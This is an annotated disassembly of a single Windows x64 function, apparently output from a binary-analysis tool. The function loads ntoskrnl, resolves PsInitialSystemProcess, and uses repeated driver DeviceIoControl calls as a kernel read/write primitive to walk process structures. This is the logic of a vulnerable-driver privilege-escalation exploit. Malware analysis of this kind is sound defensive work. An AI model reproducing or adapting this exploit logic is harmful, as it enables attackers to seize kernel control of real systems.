Function at 0x140008e30
Capabilities:
Load ntoskrnl
Resolve ntoskrnl gadgets

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r14
lea rbp, [rsp - 0x37]
sub rsp, 0xa0
mov rax, qword [0x140013010]
xor rax, rsp
mov qword [rbp + 0x27], rax
mov rdi, rcx
lea rcx, [0x14000dd88]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
test rax, rax
jne 0x140008e75
mov rsi, rax
mov r14, rax
mov rax, qword [rdi + 0x28]
jmp 0x140008ea6
lea rdx, str.PsInitialSystemProcess
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, qword [rdi + 0x38]
mov rcx, rbx
sub rsi, rbx
add rsi, rax
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rax, qword [rdi + 0x28]
xor ebx, ebx
mov r14d, ebx
test rsi, rsi
jne 0x140008eaf
test rax, rax
je 0x140008f57
mov rcx, qword [rdi]
lea r8, [rbp + 0xf]
mov qword [rsp + 0x38], rbx
mov r9d, 0x18
mov qword [rbp + 0xf], rax
mov edx, 0x222014
lea rax, [rbp - 0x29]
mov dword [rbp - 0x29], ebx
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
mov qword [rbp + 0x1f], rsi
mov dword [rbp + 0x17], 8
mov dword [rbp + 0x1b], 0x6c61696e
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
mov ecx, ebx
setns cl
test ecx, ecx
je 0x140008f57
mov rax, qword [rdi + 0x28]
lea r8, [rbp - 1]
mov rcx, qword [rdi]
mov r9d, 0x10
mov qword [rbp - 1], rax
mov edx, 0x222010
mov qword [rsp + 0x38], rbx
lea rax, [rbp - 0x29]
mov qword [rsp + 0x30], rax
lea rax, [rbp - 0x21]
mov dword [rsp + 0x28], 8
mov qword [rsp + 0x20], rax
mov dword [rbp - 0x29], ebx
mov qword [rbp - 0x21], rbx
mov qword [rbp + 7], 8
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
cmovne r14, qword [rbp - 0x21]
mov qword [rsp + 0xd8], r12
mov qword [rsp + 0xe0], r15
mov qword [rbp - 0x21], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edx, eax
lea r9, [rbp - 0x21]
mov r8, r14
mov rcx, rdi
call fcn.140008bf0
test eax, eax
je 0x14000915f
mov esi, dword [rdi + 0x50]
add rsi, qword [rbp - 0x21]
mov r12, rsi
nop dword [rax]
nop dword [rax + rax]
mov rax, qword [rdi + 0x28]
lea rcx, [rsi + 8]
test rcx, rcx
jne 0x140008fb6
test rax, rax
je 0x14000915f
mov qword [rsp + 0x38], rbx
lea r8, [rbp - 0x19]
mov qword [rbp - 0x19], rax
mov r9d, 0x18
lea rax, [rbp - 0x29]
mov qword [rbp - 9], rcx
mov rcx, qword [rdi]
mov edx, 0x222014
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
mov dword [rbp - 0x29], ebx
mov dword [rbp - 0x11], 8
mov dword [rbp - 0xd], 0x6c61696e
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
mov ecx, ebx
setns cl
test ecx, ecx
je 0x14000915f
mov rax, qword [rdi + 0x28]
lea r8, [rbp - 1]
mov rcx, qword [rdi]
mov r9d, 0x10
mov qword [rbp - 1], rax
mov edx, 0x222010
mov qword [rsp + 0x38], rbx
lea rax, [rbp - 0x29]
mov qword [rsp + 0x30], rax
lea rax, [rbp - 0x21]
mov dword [rsp + 0x28], 8
mov qword [rsp + 0x20], rax
mov dword [rbp - 0x29], ebx
mov qword [rbp - 0x21], rbx
mov qword [rbp + 7], 8
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
jne 0x140009063
mov eax, ebx
jmp 0x14000906c
mov rsi, qword [rbp - 0x21]
mov eax, 1
test eax, eax
je 0x14000915f
cmp rsi, r12
je 0x14000915f
mov eax, dword [rdi + 0x5c]
mov r14, rsi
mov rcx, qword [rdi + 0x28]
sub r14, rax
mov eax, dword [rdi + 0x54]
mov r15, rbx
add rax, r14
jne 0x14000909e
test rcx, rcx
je 0x140009146
mov qword [rsp + 0x38], rbx
lea r8, [rbp - 0x19]
mov qword [rbp - 9], rax
mov r9d, 0x18
lea rax, [rbp - 0x29]
mov qword [rbp - 0x19], rcx
mov rcx, qword [rdi]
mov edx, 0x222014
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
mov dword [rbp - 0x29], ebx
mov dword [rbp - 0x11], 8
mov dword [rbp - 0xd], 0x6c61696e
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
mov ecx, ebx
mov rax, qword [rdi + 0x28]
setns cl
test ecx, ecx
je 0x140009146
mov rcx, qword [rdi]
lea r8, [rbp + 0xf]
mov qword [rbp + 0xf], rax
mov r9d, 0x10
mov qword [rsp + 0x38], rbx
lea rax, [rbp - 0x29]
mov qword [rsp + 0x30], rax
mov edx, 0x222010
lea rax, [rbp - 0x21]
mov dword [rsp + 0x28], 8
mov qword [rsp + 0x20], rax
mov dword [rbp - 0x29], ebx
mov qword [rbp - 0x21], rbx
mov qword [rbp + 0x17], 8
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
cmovne r15, qword [rbp - 0x21]
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov eax, eax
cmp rax, r15
jne 0x140008fa0
mov eax, dword [rdi + 0x58]
add rax, r14
jmp 0x140009161
xor eax, eax
mov r15, qword [rsp + 0xe0]
mov r12, qword [rsp + 0xd8]
mov rcx, qword [rbp + 0x27]
xor rcx, rsp
call fcn.14000b390
add rsp, 0xa0
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret